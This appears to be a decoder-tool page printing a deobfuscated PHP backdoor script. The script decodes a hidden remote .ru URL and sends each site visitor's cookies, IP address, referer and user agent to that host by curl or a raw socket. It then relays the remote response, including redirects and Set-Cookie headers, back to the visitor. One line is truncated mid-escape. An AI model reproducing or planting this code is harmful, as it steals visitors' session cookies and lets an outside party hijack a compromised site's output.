PHP Decode

<?php
$z=&$_SERVER;
$req=substr($z['REQUEST_URI'], 8);
$a=explode('|',"HTTP_X_FORWARDED_FOR|HTTP_FORWARDED_FOR|HTTP_X_REAL_IP|REMOTE_ADDR|HTTP_REFERER|HTTP_USER_AGENT|\150\164\x74\x70\72\57\57\157\160\x74\60\61\x64\x2e\x77\151\x6e\156\x65\x72\61\66\x2e\162\165\57\x64\157\154\63\x32\x38|\150\164\x$
if(isset($z[$a[0]]))$ip=$z[$a[0]];elseif(isset($z[$a[1]]))$ip=$z[$a[1]];elseif(isset($z[$a[2]]))$ip=$z[$a[2]];else$ip=@$z[$a[3]];
$po='&baby='.urlencode($a[7]).'&ip='.$ip;
$co='';if(!empty($_COOKIE)){foreach($_COOKIE as $cn=>$cv){if($co)$co.='; ';$co.=$cn.'='.addslashes($cv);}}
if(is_callable('curl_init')) {
$ch=curl_init();$v='curl_setopt';
$v($ch,10002,$a[6].$req);$v($ch,10015,$po);$v($ch,19913,1);$v($ch,10016,@$z[$a[4]]);$v($ch,10018,$z[$a[5]]);$v($ch,20079,'hf');
if($co)$v($ch,10022, $co);
echo curl_exec($ch);
}else{
$m=parse_url($a[6].$req);
$f=fsockopen($m['host'],80) or die();
$h="POST {$m['path']} HTTP/1.1\r\nHost: {$m['host']}\r\nContent-Type: application/x-www-form-urlencoded\r\n";
if(!empty($z[$a[4]]))$h.="Referer: {$z[$a[4]]}\r\n";
if($co)$h.="Cookie: $co\r\n";
$h.="User-agent: {$z[$a[5]]}\r\nContent-length: ".strlen($po)."\r\nConnection: Close\r\n\r\n";
fwrite($f,$h.$po);$r='';while(!feof($f)){$r.=fgets($f,1024);}fclose($f);
list($h,$d)=explode("\r\n\r\n",$r,2);$h=explode("\r\n",$h);
foreach($h as $l){hf(0,$l);if(strpos($l,'chunked')!==false)$c=true;}
if(@$c){for($o='';!empty($d);$d=trim($d)){$s=strpos($d,"\r\n");$e=hexdec(substr($d,0,$s));$o.=substr($d,$s+2,$e);$d=substr($d,$s+2+$e);}echo $o;}else echo $d;
}
function hf($ch, $hl){if(strpos($hl,'Content-Type')!==false||strpos($hl,'404')!==false||strpos($hl,'301')!==false||strpos($hl,'Location')!==false||strpos($hl,'Set-Cookie')!==false) header($hl);return strlen($hl);}
?>